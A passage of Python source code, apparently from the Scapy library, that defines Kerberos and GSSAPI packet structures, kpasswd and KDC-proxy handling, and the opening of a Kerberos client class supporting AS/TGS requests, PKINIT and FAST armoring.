ASN1F_PACKET("key", EncryptionKey(), EncryptionKey, explicit_tag=0xA0), ASN1F_optional( Realm("prealm", None, explicit_tag=0xA1), ), ASN1F_optional( ASN1F_PACKET("pname", None, PrincipalName, explicit_tag=0xA2), ), ASN1F_optional( KerberosFlags( "flags", None, _TICKET_FLAGS, explicit_tag=0xA3, ), ), ASN1F_optional( KerberosTime("authtime", None, explicit_tag=0xA4), ), ASN1F_optional(KerberosTime("starttime", None, explicit_tag=0xA5)), ASN1F_optional( KerberosTime("endtime", None, explicit_tag=0xA6), ), ASN1F_optional( KerberosTime("renewTill", None, explicit_tag=0xA7), ), ASN1F_optional( Realm("srealm", None, explicit_tag=0xA8), ), ASN1F_optional( ASN1F_PACKET("sname", None, PrincipalName, explicit_tag=0xA9), ), ASN1F_optional( HostAddresses("caddr", explicit_tag=0xAA), ), ) class EncKrbCredPart(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_SEQUENCE( ASN1F_SEQUENCE_OF( "ticketInfo", [KrbCredInfo()], KrbCredInfo, explicit_tag=0xA0, ), ASN1F_optional( UInt32("nonce", None, explicit_tag=0xA1), ), ASN1F_optional( KerberosTime("timestamp", None, explicit_tag=0xA2), ), ASN1F_optional( Microseconds("usec", None, explicit_tag=0xA3), ), ASN1F_optional( ASN1F_PACKET("sAddress", None, HostAddress, explicit_tag=0xA4), ), ASN1F_optional( ASN1F_PACKET("cAddress", None, HostAddress, explicit_tag=0xA5), ), ), implicit_tag=ASN1_Class_KRB.EncKrbCredPart, ) # sect 5.9.1 class MethodData(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE_OF("seq", [PADATA()], PADATA) class _KRBERROR_data_Field(ASN1F_STRING_PacketField): def m2i(self, pkt, s): val = super(_KRBERROR_data_Field, self).m2i(pkt, s) if not val[0].val: return val if pkt.errorCode.val in [14, 24, 25, 36]: # 14: KDC_ERR_ETYPE_NOSUPP # 24: KDC_ERR_PREAUTH_FAILED # 25: KDC_ERR_PREAUTH_REQUIRED # 36: KRB_AP_ERR_BADMATCH return MethodData(val[0].val, _underlayer=pkt), val[1] elif pkt.errorCode.val in [6, 7, 12, 13, 18, 29, 32, 41, 60, 62]: # 6: KDC_ERR_C_PRINCIPAL_UNKNOWN # 7: KDC_ERR_S_PRINCIPAL_UNKNOWN # 12: KDC_ERR_POLICY # 13: KDC_ERR_BADOPTION # 18: KDC_ERR_CLIENT_REVOKED # 29: KDC_ERR_SVC_UNAVAILABLE # 32: KRB_AP_ERR_TKT_EXPIRED # 41: KRB_AP_ERR_MODIFIED # 60: KRB_ERR_GENERIC # 62: KERB_ERR_TYPE_EXTENDED try: return KERB_ERROR_DATA(val[0].val, _underlayer=pkt), val[1] except BER_Decoding_Error: if pkt.errorCode.val in [18, 12]: # Some types can also happen in FAST sessions # 18: KDC_ERR_CLIENT_REVOKED return MethodData(val[0].val, _underlayer=pkt), val[1] elif pkt.errorCode.val == 7: # This looks like an undocumented structure. # 7: KDC_ERR_S_PRINCIPAL_UNKNOWN return KERB_ERROR_UNK(val[0].val, _underlayer=pkt), val[1] raise elif pkt.errorCode.val == 69: # KRB_AP_ERR_USER_TO_USER_REQUIRED return KRB_TGT_REP(val[0].val, _underlayer=pkt), val[1] return val class KRB_ERROR(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_SEQUENCE( ASN1F_INTEGER("pvno", 5, explicit_tag=0xA0), ASN1F_enum_INTEGER("msgType", 30, KRB_MSG_TYPES, explicit_tag=0xA1), ASN1F_optional( KerberosTime("ctime", None, explicit_tag=0xA2), ), ASN1F_optional( Microseconds("cusec", None, explicit_tag=0xA3), ), KerberosTime("stime", GeneralizedTime(), explicit_tag=0xA4), Microseconds("susec", 0, explicit_tag=0xA5), ASN1F_enum_INTEGER( "errorCode", 0, { # RFC4120 sect 7.5.9 0: "KDC_ERR_NONE", 1: "KDC_ERR_NAME_EXP", 2: "KDC_ERR_SERVICE_EXP", 3: "KDC_ERR_BAD_PVNO", 4: "KDC_ERR_C_OLD_MAST_KVNO", 5: "KDC_ERR_S_OLD_MAST_KVNO", 6: "KDC_ERR_C_PRINCIPAL_UNKNOWN", 7: "KDC_ERR_S_PRINCIPAL_UNKNOWN", 8: "KDC_ERR_PRINCIPAL_NOT_UNIQUE", 9: "KDC_ERR_NULL_KEY", 10: "KDC_ERR_CANNOT_POSTDATE", 11: "KDC_ERR_NEVER_VALID", 12: "KDC_ERR_POLICY", 13: "KDC_ERR_BADOPTION", 14: "KDC_ERR_ETYPE_NOSUPP", 15: "KDC_ERR_SUMTYPE_NOSUPP", 16: "KDC_ERR_PADATA_TYPE_NOSUPP", 17: "KDC_ERR_TRTYPE_NOSUPP", 18: "KDC_ERR_CLIENT_REVOKED", 19: "KDC_ERR_SERVICE_REVOKED", 20: "KDC_ERR_TGT_REVOKED", 21: "KDC_ERR_CLIENT_NOTYET", 22: "KDC_ERR_SERVICE_NOTYET", 23: "KDC_ERR_KEY_EXPIRED", 24: "KDC_ERR_PREAUTH_FAILED", 25: "KDC_ERR_PREAUTH_REQUIRED", 26: "KDC_ERR_SERVER_NOMATCH", 27: "KDC_ERR_MUST_USE_USER2USER", 28: "KDC_ERR_PATH_NOT_ACCEPTED", 29: "KDC_ERR_SVC_UNAVAILABLE", 31: "KRB_AP_ERR_BAD_INTEGRITY", 32: "KRB_AP_ERR_TKT_EXPIRED", 33: "KRB_AP_ERR_TKT_NYV", 34: "KRB_AP_ERR_REPEAT", 35: "KRB_AP_ERR_NOT_US", 36: "KRB_AP_ERR_BADMATCH", 37: "KRB_AP_ERR_SKEW", 38: "KRB_AP_ERR_BADADDR", 39: "KRB_AP_ERR_BADVERSION", 40: "KRB_AP_ERR_MSG_TYPE", 41: "KRB_AP_ERR_MODIFIED", 42: "KRB_AP_ERR_BADORDER", 44: "KRB_AP_ERR_BADKEYVER", 45: "KRB_AP_ERR_NOKEY", 46: "KRB_AP_ERR_MUT_FAIL", 47: "KRB_AP_ERR_BADDIRECTION", 48: "KRB_AP_ERR_METHOD", 49: "KRB_AP_ERR_BADSEQ", 50: "KRB_AP_ERR_INAPP_CKSUM", 51: "KRB_AP_PATH_NOT_ACCEPTED", 52: "KRB_ERR_RESPONSE_TOO_BIG", 60: "KRB_ERR_GENERIC", 61: "KRB_ERR_FIELD_TOOLONG", # RFC4556 62: "KDC_ERR_CLIENT_NOT_TRUSTED", 63: "KDC_ERR_KDC_NOT_TRUSTED", 64: "KDC_ERR_INVALID_SIG", 65: "KDC_ERR_KEY_TOO_WEAK", 66: "KDC_ERR_CERTIFICATE_MISMATCH", 67: "KRB_AP_ERR_NO_TGT", 68: "KDC_ERR_WRONG_REALM", 69: "KRB_AP_ERR_USER_TO_USER_REQUIRED", 70: "KDC_ERR_CANT_VERIFY_CERTIFICATE", 71: "KDC_ERR_INVALID_CERTIFICATE", 72: "KDC_ERR_REVOKED_CERTIFICATE", 73: "KDC_ERR_REVOCATION_STATUS_UNKNOWN", 74: "KDC_ERR_REVOCATION_STATUS_UNAVAILABLE", 75: "KDC_ERR_CLIENT_NAME_MISMATCH", 76: "KDC_ERR_KDC_NAME_MISMATCH", 77: "KDC_ERR_INCONSISTENT_KEY_PURPOSE", 78: "KDC_ERR_DIGEST_IN_CERT_NOT_ACCEPTED", 79: "KDC_ERR_PA_CHECKSUM_MUST_BE_INCLUDED", 80: "KDC_ERR_DIGEST_IN_SIGNED_DATA_NOT_ACCEPTED", 81: "KDC_ERR_PUBLIC_KEY_ENCRYPTION_NOT_SUPPORTED", # draft-ietf-kitten-iakerb 85: "KRB_AP_ERR_IAKERB_KDC_NOT_FOUND", 86: "KRB_AP_ERR_IAKERB_KDC_NO_RESPONSE", # RFC6113 90: "KDC_ERR_PREAUTH_EXPIRED", 91: "KDC_ERR_MORE_PREAUTH_DATA_REQUIRED", 92: "KDC_ERR_PREAUTH_BAD_AUTHENTICATION_SET", 93: "KDC_ERR_UNKNOWN_CRITICAL_FAST_OPTIONS", # RFC8636 100: "KDC_ERR_NO_ACCEPTABLE_KDF", }, explicit_tag=0xA6, ), ASN1F_optional(Realm("crealm", None, explicit_tag=0xA7)), ASN1F_optional( ASN1F_PACKET("cname", None, PrincipalName, explicit_tag=0xA8), ), Realm("realm", "", explicit_tag=0xA9), ASN1F_PACKET("sname", PrincipalName(), PrincipalName, explicit_tag=0xAA), ASN1F_optional(KerberosString("eText", "", explicit_tag=0xAB)), ASN1F_optional(_KRBERROR_data_Field("eData", "", explicit_tag=0xAC)), ), implicit_tag=ASN1_Class_KRB.ERROR, ) def getSPN(self): return "%s@%s" % ( self.sname.toString(), self.realm.val.decode(), ) # PA-FX-ERROR _PADATA_CLASSES[137] = KRB_ERROR # [MS-KILE] sect 2.2.1 class KERB_EXT_ERROR(Packet): fields_desc = [ XLEIntEnumField("status", 0, STATUS_ERREF), XLEIntField("reserved", 0), XLEIntField("flags", 0x00000001), ] # [MS-KILE] sect 2.2.2 class _Error_Field(ASN1F_STRING_PacketField): def m2i(self, pkt, s): val = super(_Error_Field, self).m2i(pkt, s) if not val[0].val: return val if pkt.dataType.val == 3: # KERB_ERR_TYPE_EXTENDED return KERB_EXT_ERROR(val[0].val, _underlayer=pkt), val[1] return val class KERB_ERROR_DATA(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_enum_INTEGER( "dataType", 2, { 1: "KERB_AP_ERR_TYPE_NTSTATUS", # from the wdk 2: "KERB_AP_ERR_TYPE_SKEW_RECOVERY", 3: "KERB_ERR_TYPE_EXTENDED", }, explicit_tag=0xA1, ), ASN1F_optional(_Error_Field("dataValue", None, explicit_tag=0xA2)), ) # This looks like an undocumented structure. class KERB_ERROR_UNK(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_SEQUENCE( ASN1F_enum_INTEGER( "dataType", 0, { -128: "KDC_ERR_MUST_USE_USER2USER", }, explicit_tag=0xA0, ), ASN1F_STRING("dataValue", None, explicit_tag=0xA1), ) ) # Kerberos U2U - draft-ietf-cat-user2user-03 class KRB_TGT_REQ(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_INTEGER("pvno", 5, explicit_tag=0xA0), ASN1F_enum_INTEGER("msgType", 16, KRB_MSG_TYPES, explicit_tag=0xA1), ASN1F_optional( ASN1F_PACKET("sname", None, PrincipalName, explicit_tag=0xA2), ), ASN1F_optional( Realm("realm", None, explicit_tag=0xA3), ), ) class KRB_TGT_REP(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_INTEGER("pvno", 5, explicit_tag=0xA0), ASN1F_enum_INTEGER("msgType", 17, KRB_MSG_TYPES, explicit_tag=0xA1), ASN1F_PACKET("ticket", None, KRB_Ticket, explicit_tag=0xA2), ) # draft-ietf-kitten-iakerb-03 sect 4 class KRB_FINISHED(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_PACKET("gssMic", Checksum(), Checksum, explicit_tag=0xA1), ) # RFC 6542 sect 3.1 class KRB_GSS_EXT(Packet): fields_desc = [ IntEnumField( "type", 0, { # https://www.iana.org/assignments/kerberos-v-gss-api/kerberos-v-gss-api.xhtml 0x00000000: "GSS_EXTS_CHANNEL_BINDING", # RFC 6542 sect 3.2 0x00000001: "GSS_EXTS_IAKERB_FINISHED", # not standard 0x00000002: "GSS_EXTS_FINISHED", # PKU2U / IAKERB }, ), FieldLenField("length", None, length_of="data", fmt="!I"), MultipleTypeField( [ ( PacketField("data", KRB_FINISHED(), KRB_FINISHED), lambda pkt: pkt.type == 0x00000002, ), ], XStrLenField("data", b"", length_from=lambda pkt: pkt.length), ), ] # RFC 4121 sect 4.1.1 class KRB_AuthenticatorChecksum(Packet): fields_desc = [ FieldLenField("Lgth", None, length_of="Bnd", fmt="= 13: # Older RFC1964 variants of the token have KRB_GSSAPI_Token wrapper if _pkt[2:13] == b"\x06\t*\x86H\x86\xf7\x12\x01\x02\x02": return KRB_GSSAPI_Token return cls # RFC 4121 - sect 4.1 class KRB_GSSAPI_Token(GSSAPI_BLOB): name = "Kerberos GSSAPI-Token" ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_OID("MechType", "1.2.840.113554.1.2.2"), ASN1F_PACKET( "innerToken", KRB_InnerToken(), KRB_InnerToken, implicit_tag=0x0, ), implicit_tag=ASN1_Class_KRB.Token, ) # RFC 1964 - sect 1.2.1 class KRB_GSS_MIC_RFC1964(Packet): name = "Kerberos v5 MIC Token (RFC1964)" fields_desc = [ LEShortEnumField("SGN_ALG", 0, _SGN_ALGS), XLEIntField("Filler", 0xFFFFFFFF), XStrFixedLenField("SND_SEQ", b"", length=8), PadField( # sect 1.2.2.3 XStrFixedLenField("SGN_CKSUM", b"", length=8), align=8, padwith=b"\x04", ), ] def default_payload_class(self, payload): return conf.padding_layer _InitialContextTokens[b"\x01\x01"] = KRB_GSS_MIC_RFC1964 # RFC 1964 - sect 1.2.2 class KRB_GSS_Wrap_RFC1964(Packet): name = "Kerberos v5 GSS_Wrap (RFC1964)" fields_desc = [ LEShortEnumField("SGN_ALG", 0, _SGN_ALGS), LEShortEnumField("SEAL_ALG", 0, _SEAL_ALGS), XLEShortField("Filler", 0xFFFF), XStrFixedLenField("SND_SEQ", b"", length=8), PadField( # sect 1.2.2.3 XStrFixedLenField("SGN_CKSUM", b"", length=8), align=8, padwith=b"\x04", ), # sect 1.2.2.3 XStrFixedLenField("CONFOUNDER", b"", length=8), ] def default_payload_class(self, payload): return conf.padding_layer _InitialContextTokens[b"\x02\x01"] = KRB_GSS_Wrap_RFC1964 # RFC 1964 - sect 1.2.2 class KRB_GSS_Delete_sec_context_RFC1964(Packet): name = "Kerberos v5 GSS_Delete_sec_context (RFC1964)" fields_desc = KRB_GSS_MIC_RFC1964.fields_desc _InitialContextTokens[b"\x01\x02"] = KRB_GSS_Delete_sec_context_RFC1964 # RFC 4121 - sect 4.2.2 _KRB5_GSS_Flags = [ "SentByAcceptor", "Sealed", "AcceptorSubkey", ] # RFC 4121 - sect 4.2.6.1 class KRB_GSS_MIC(Packet): name = "Kerberos v5 MIC Token" fields_desc = [ FlagsField("Flags", 0, 8, _KRB5_GSS_Flags), XStrFixedLenField("Filler", b"\xff\xff\xff\xff\xff", length=5), LongField("SND_SEQ", 0), # Big endian XStrField("SGN_CKSUM", b"\x00" * 12), ] def default_payload_class(self, payload): return conf.padding_layer _InitialContextTokens[b"\x04\x04"] = KRB_GSS_MIC # RFC 4121 - sect 4.2.6.2 class KRB_GSS_Wrap(Packet): name = "Kerberos v5 Wrap Token" fields_desc = [ FlagsField("Flags", 0, 8, _KRB5_GSS_Flags), XByteField("Filler", 0xFF), ShortField("EC", 0), # Big endian ShortField("RRC", 0), # Big endian LongField("SND_SEQ", 0), # Big endian MultipleTypeField( [ ( XStrField("Data", b""), lambda pkt: pkt.Flags.Sealed, ) ], XStrLenField("Data", b"", length_from=lambda pkt: pkt.EC), ), ] def default_payload_class(self, payload): return conf.padding_layer _InitialContextTokens[b"\x05\x04"] = KRB_GSS_Wrap # Kerberos IAKERB - draft-ietf-kitten-iakerb-03 class IAKERB_HEADER(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( Realm("targetRealm", "", explicit_tag=0xA1), ASN1F_optional( ASN1F_STRING("cookie", None, explicit_tag=0xA2), ), ) _InitialContextTokens[b"\x05\x01"] = IAKERB_HEADER # Register for GSSAPI # Kerberos 5 _GSSAPI_OIDS["1.2.840.113554.1.2.2"] = KRB_InnerToken _GSSAPI_SIGNATURE_OIDS["1.2.840.113554.1.2.2"] = KRB_InnerToken # Kerberos 5 - U2U _GSSAPI_OIDS["1.2.840.113554.1.2.2.3"] = KRB_InnerToken # Kerberos 5 - IAKERB _GSSAPI_OIDS["1.3.6.1.5.2.5"] = KRB_InnerToken # Entry class # RFC4120 sect 5.10 class Kerberos(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_CHOICE( "root", None, # RFC4120 KRB_GSSAPI_Token, # [APPLICATION 0] KRB_Ticket, # [APPLICATION 1] KRB_Authenticator, # [APPLICATION 2] KRB_AS_REQ, # [APPLICATION 10] KRB_AS_REP, # [APPLICATION 11] KRB_TGS_REQ, # [APPLICATION 12] KRB_TGS_REP, # [APPLICATION 13] KRB_AP_REQ, # [APPLICATION 14] KRB_AP_REP, # [APPLICATION 15] # RFC4120 KRB_ERROR, # [APPLICATION 30] ) def mysummary(self): return self.root.summary() bind_bottom_up(UDP, Kerberos, sport=88) bind_bottom_up(UDP, Kerberos, dport=88) bind_layers(UDP, Kerberos, sport=88, dport=88) _InitialContextTokens[b"\x01\x00"] = KRB_AP_REQ _InitialContextTokens[b"\x02\x00"] = KRB_AP_REP _InitialContextTokens[b"\x03\x00"] = KRB_ERROR _InitialContextTokens[b"\x04\x00"] = KRB_TGT_REQ _InitialContextTokens[b"\x04\x01"] = KRB_TGT_REP # RFC4120 sect 7.2.2 class KerberosTCPHeader(Packet): # According to RFC 5021, first bit to 1 has a special meaning and # negotiates Kerberos TCP extensions... But apart from rfc6251 no one used that # https://www.iana.org/assignments/kerberos-parameters/kerberos-parameters.xhtml#kerberos-parameters-4 fields_desc = [LenField("len", None, fmt="!I")] @classmethod def tcp_reassemble(cls, data, *args, **kwargs): if len(data) < 4: return None length = struct.unpack("!I", data[:4])[0] if len(data) == length + 4: return cls(data) bind_layers(KerberosTCPHeader, Kerberos) bind_bottom_up(TCP, KerberosTCPHeader, sport=88) bind_layers(TCP, KerberosTCPHeader, dport=88) # RFC3244 sect 2 class KPASSWD_REQ(Packet): fields_desc = [ ShortField("len", None), ShortField("pvno", 0xFF80), ShortField("apreqlen", None), PacketLenField( "apreq", KRB_AP_REQ(), KRB_AP_REQ, length_from=lambda pkt: pkt.apreqlen ), ConditionalField( PacketLenField( "krbpriv", KRB_PRIV(), KRB_PRIV, length_from=lambda pkt: pkt.len - 6 - pkt.apreqlen, ), lambda pkt: pkt.apreqlen != 0, ), ConditionalField( PacketLenField( "error", KRB_ERROR(), KRB_ERROR, length_from=lambda pkt: pkt.len - 6 ), lambda pkt: pkt.apreqlen == 0, ), ] def post_build(self, p, pay): if self.len is None: p = struct.pack("!H", len(p)) + p[2:] if self.apreqlen is None and self.krbpriv is not None: p = p[:4] + struct.pack("!H", len(self.apreq)) + p[6:] return p + pay class ChangePasswdData(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_STRING("newpasswd", ASN1_STRING(""), explicit_tag=0xA0), ASN1F_optional( ASN1F_PACKET("targname", None, PrincipalName, explicit_tag=0xA1) ), ASN1F_optional(Realm("targrealm", None, explicit_tag=0xA2)), ) class KPASSWD_REP(Packet): fields_desc = [ ShortField("len", None), ShortField("pvno", 0x0001), ShortField("apreplen", None), PacketLenField( "aprep", KRB_AP_REP(), KRB_AP_REP, length_from=lambda pkt: pkt.apreplen ), ConditionalField( PacketLenField( "krbpriv", KRB_PRIV(), KRB_PRIV, length_from=lambda pkt: pkt.len - 6 - pkt.apreplen, ), lambda pkt: pkt.apreplen != 0, ), ConditionalField( PacketLenField( "error", KRB_ERROR(), KRB_ERROR, length_from=lambda pkt: pkt.len - 6 ), lambda pkt: pkt.apreplen == 0, ), ] def post_build(self, p, pay): if self.len is None: p = struct.pack("!H", len(p)) + p[2:] if self.apreplen is None and self.krbpriv is not None: p = p[:4] + struct.pack("!H", len(self.aprep)) + p[6:] return p + pay def answers(self, other): return isinstance(other, KPASSWD_REQ) KPASSWD_RESULTS = { 0: "KRB5_KPASSWD_SUCCESS", 1: "KRB5_KPASSWD_MALFORMED", 2: "KRB5_KPASSWD_HARDERROR", 3: "KRB5_KPASSWD_AUTHERROR", 4: "KRB5_KPASSWD_SOFTERROR", 5: "KRB5_KPASSWD_ACCESSDENIED", 6: "KRB5_KPASSWD_BAD_VERSION", 7: "KRB5_KPASSWD_INITIAL_FLAG_NEEDED", } class KPasswdRepData(Packet): fields_desc = [ ShortEnumField("resultCode", 0, KPASSWD_RESULTS), StrField("resultString", ""), ] class Kpasswd(Packet): @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and len(_pkt) >= 4: if _pkt[2:4] == b"\xff\x80": return KPASSWD_REQ elif _pkt[2:4] == b"\x00\x01": asn1_tag = BER_id_dec(_pkt[6:8])[0] & 0x1F if asn1_tag == 14: return KPASSWD_REQ elif asn1_tag == 15: return KPASSWD_REP return KPASSWD_REQ bind_bottom_up(UDP, Kpasswd, sport=464) bind_bottom_up(UDP, Kpasswd, dport=464) bind_top_down(UDP, KPASSWD_REQ, sport=464, dport=464) bind_top_down(UDP, KPASSWD_REP, sport=464, dport=464) class KpasswdTCPHeader(Packet): fields_desc = [LenField("len", None, fmt="!I")] @classmethod def tcp_reassemble(cls, data, *args, **kwargs): if len(data) < 4: return None length = struct.unpack("!I", data[:4])[0] if len(data) == length + 4: return cls(data) bind_layers(KpasswdTCPHeader, Kpasswd) bind_bottom_up(TCP, KpasswdTCPHeader, sport=464) bind_layers(TCP, KpasswdTCPHeader, dport=464) # [MS-KKDCP] class _KerbMessage_Field(ASN1F_STRING_PacketField): def m2i(self, pkt, s): val = super(_KerbMessage_Field, self).m2i(pkt, s) if not val[0].val: return val return KerberosTCPHeader(val[0].val, _underlayer=pkt), val[1] class KDC_PROXY_MESSAGE(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( _KerbMessage_Field("kerbMessage", "", explicit_tag=0xA0), ASN1F_optional(Realm("targetDomain", None, explicit_tag=0xA1)), ASN1F_optional( ASN1F_FLAGS( "dclocatorHint", None, FlagsField("", 0, -32, _NV_VERSION).names, explicit_tag=0xA2, ) ), ) class KdcProxySocket(SuperSocket): """ This is a wrapper of a HTTP_Client that does KKDCP proxying, disguised as a SuperSocket to be compatible with the rest of the KerberosClient. """ def __init__( self, url, targetDomain, dclocatorHint=None, no_check_certificate=False, **kwargs, ): self.url = url self.targetDomain = targetDomain self.dclocatorHint = dclocatorHint self.no_check_certificate = no_check_certificate self.queue = deque() super(KdcProxySocket, self).__init__(**kwargs) def recv(self, x=None): return self.queue.popleft() def send(self, x, **kwargs): from scapy.layers.http import HTTP_Client cli = HTTP_Client(no_check_certificate=self.no_check_certificate) try: # sr it via the web client resp = cli.request( self.url, Method="POST", data=bytes( # Wrap request in KDC_PROXY_MESSAGE KDC_PROXY_MESSAGE( kerbMessage=bytes(x), targetDomain=ASN1_GENERAL_STRING(self.targetDomain.encode()), # dclocatorHint is optional dclocatorHint=self.dclocatorHint, ) ), http_headers={ "Cache-Control": "no-cache", "Pragma": "no-cache", "User-Agent": "kerberos/1.0", }, ) if resp and conf.raw_layer in resp: # Parse the payload resp = KDC_PROXY_MESSAGE(resp.load).kerbMessage # We have an answer, queue it. self.queue.append(resp) else: raise EOFError finally: cli.close() @staticmethod def select(sockets, remain=None): return [x for x in sockets if isinstance(x, KdcProxySocket) and x.queue] # Util functions class PKINIT_KEX_METHOD(IntEnum): DIFFIE_HELLMAN = 1 PUBLIC_KEY = 2 class KerberosClient(Automaton): """ Implementation of a Kerberos client. Prefer to use the ``krb_as_req`` and ``krb_tgs_req`` functions which wrap this client. Common parameters: :param mode: the mode to use for the client (default: AS_REQ). :param ip: the IP of the DC (default: discovered by dclocator) :param upn: the UPN of the client. :param password: the password of the client. :param key: the Key of the client (instead of the password) :param realm: the realm of the domain. (default: from the UPN) :param host: the name of the host doing the request :param port: the Kerberos port (default 88) :param timeout: timeout of each request (default 5) Advanced common parameters: :param kdc_proxy: specify a KDC proxy url :param kdc_proxy_no_check_certificate: do not check the KDC proxy certificate :param fast: use FAST armoring :param armor_ticket: an external ticket to use for armoring :param armor_ticket_upn: the UPN of the client of the armoring ticket :param armor_ticket_skey: the session Key object of the armoring ticket :param etypes: specify the list of encryption types to support AS-REQ only: :param x509: a X509 certificate to use for PKINIT AS_REQ or S4U2Proxy :param x509key: the private key of the X509 certificate (in an AS_REQ) :param ca: the CA list that verifies the peer (KDC) certificate. Typically only the ROOT CA is required. :param p12: (optional) use a pfx/p12 instead of x509 and x509key. In this case, 'password' is the password of the p12. :param pkinit_kex_method: (advanced) whether to use the DIFFIE-HELLMAN method or the Certificate based one for PKINIT. TGS-REQ only: :param spn: the SPN to request in a TGS-REQ :param ticket: the existing ticket to use in a TGS-REQ :param renew: sets the Renew flag in a TGS-REQ :param additional_tickets: in U2U or S4U2Proxy, the additional tickets :param u2u: sets the U2U flag :param for_user: the UPN of another user in TGS-REQ, to do a S4U2Self :param s4u2proxy: sets the S4U2Proxy flag :param dmsa: sets the 'unconditional delegation' mode for DMSA TGT retrieval """ RES_AS_MODE = namedtuple( "AS_Result", ["asrep", "sessionkey", "kdcrep", "upn", "pa_type"] ) RES_TGS_MODE = namedtuple("TGS_Result", ["tgsrep", "sessionkey", "kdcrep", "upn"]) class MODE(IntEnum): AS_REQ = 0 TGS_REQ = 1 GET_SALT = 2 def __init__( self, mode=MODE.AS_REQ, ip: Optional[str] = None, upn: Optional[str] = None, password: Optional[str] = None, key: Optional["Key"] = None, realm: Optional[str] = None, x509: Optional[Union[Cert, str]] = None, x509key: Optional[Union[PrivKey, str]] = None, ca: Optional[Union[CertTree, str]] = None, p12: Optional[str] = None, spn: Optional[str] = None, ticket: Optional[KRB_Ticket] = None, host: Optional[str] = None, renew: bool = False, additional_tickets: List[KRB_Ticket] = [], u2u: bool = False, for_user: Optional[str] = None, s4u2proxy: bool = False, dmsa: bool = False, kdc_proxy: Optional[str] = None, kdc_proxy_no_check_certificate: bool = False, fast: bool = False, armor_ticket: KRB_Ticket = None, armor_ticket_upn: Optional[str] = None, armor_ticket_skey: Optional["Key"] = None, key_list_req: List["EncryptionType"] = [], etypes: Optional[List["EncryptionType"]] = None, pkinit_kex_method: PKINIT_KEX_METHOD = PKINIT_KEX_METHOD.DIFFIE_HELLMAN, port: int = 88, timeout: int = 5, verbose: bool = True, **kwargs, ): import scapy.libs.rfc3961 # Trigger error if any # noqa: F401 from scapy.layers.ldap import dclocator if not upn: raise ValueError("Invalid upn") if not spn: raise ValueError("Invalid spn") if realm is None: if mode in [self.MODE.AS_REQ, self.MODE.GET_SALT]: _, realm = _parse_upn(upn) elif mode == self.MODE.TGS_REQ: _, realm = _parse_spn(spn) if not realm and ticket: # if no realm is specified, but there's a ticket, take the realm # of the ticket. realm = ticket.realm.val.decode() else: raise ValueError("Invalid realm") # PKINIT checks if p12 is not None: # password should be None or bytes if isinstance(password, str): password = password.encode() # Read p12/pfx. If it fails and no password was provided, prompt and # retry once. while True: try: with open(p12, "rb") as fd: x509key, x509, _ = pkcs12.load_key_and_certificates( fd.read(), password=password, ) break except ValueError as ex: if password is None: # We don't have a password. Prompt and retry. try: from prompt_toolkit import prompt password = prompt( "Enter PKCS12 password: ", is_password=True ) except ImportError: password = input("Enter PKCS12 password: ") password = password.encode() else: raise ex x509 = Cert(cryptography_obj=x509) x509key = PrivKey(cryptography_obj=x509key) elif x509 and x509key: if not isinstance(x509, Cert): x509 = Cert(x509) if not isinstance(x509key, PrivKey): x509key = PrivKey(x509key) if ca and not isinstance(ca, CertList): ca = CertList(ca) if mode in [self.MODE.AS_REQ, self.MODE.GET_SALT]: if not host: raise ValueError("Invalid host") if x509 is not None and (not x509key or not ca): raise ValueError("Must provide both 'x509', 'x509key' and 'ca' !") elif mode == self.MODE.TGS_REQ: if not ticket: raise ValueError("Invalid ticket") if not ip and not kdc_proxy: # No KDC IP provided. Find it by querying the DNS ip = dclocator( realm, timeout=timeout, # Use connect mode instead of ldap for compatibility # with MIT kerberos servers mode="connect", port=port, debug=kwargs.get("debug", 0), ).ip # Armoring checks if fast: if mode == self.MODE.AS_REQ: # Requires an external ticket if not armor_ticket or not armor_ticket_upn or not armor_ticket_skey: raise ValueError( "Implicit armoring is not possible on AS-REQ: " "please provide the 3 required armor arguments" ) elif mode == self.MODE.TGS_REQ: if armor_ticket and (not armor_ticket_upn or not armor_ticket_skey): raise ValueError( "Cannot specify armor_ticket without armor_ticket_{upn,skey}" ) if mode == self.MODE.GET_SALT: if etypes is not None: raise ValueError("Cannot specify etypes in GET_SALT mode !") etypes = [ EncryptionType.AES256_CTS_HMAC_SHA1_96, EncryptionType.AES128_CTS_HMAC_SHA1_96, ] elif etypes is None: etypes = [ EncryptionType.AES256_CTS_HMAC_SHA1_96, EncryptionType.AES128_CTS_HMAC_SHA1_96, EncryptionType.RC4_HMAC, EncryptionType.RC4_HMAC_EXP, EncryptionType.DES_CBC_MD5, ] self.etypes = etypes self.mode = mode self.result = None # Result self._timeout = timeout self._verbose = verbose self._ip = ip self._port = port self.kdc_proxy = kdc_proxy self.kdc_proxy_no_check_certificate = kdc_proxy_no_check_certificate if self.mode in [self.MODE.AS_REQ, self.MODE.GET_SALT]: self.host = host.upper() self.password = password and bytes_encode(password) self.spn = spn self.upn = upn self.realm = realm.upper() self.x509 = x509 self.x509key = x509key self.pkinit_kex_method = pkinit_kex_method self.ticket = ticket self.fast = fast self.armor_ticket = armor_ticket self.armor_ticket_upn = armor_ticket_upn self.armor_ticket_skey = armor_ticket_skey self.key_list_req = key_list_req self.renew = renew self.additional_tickets = additional_tickets # U2U + S4U2Proxy self.u2u = u2u # U2U self.for_user = for_user # FOR-USER self.s4u2proxy = s4u2proxy # S4U2Proxy self.dmsa = 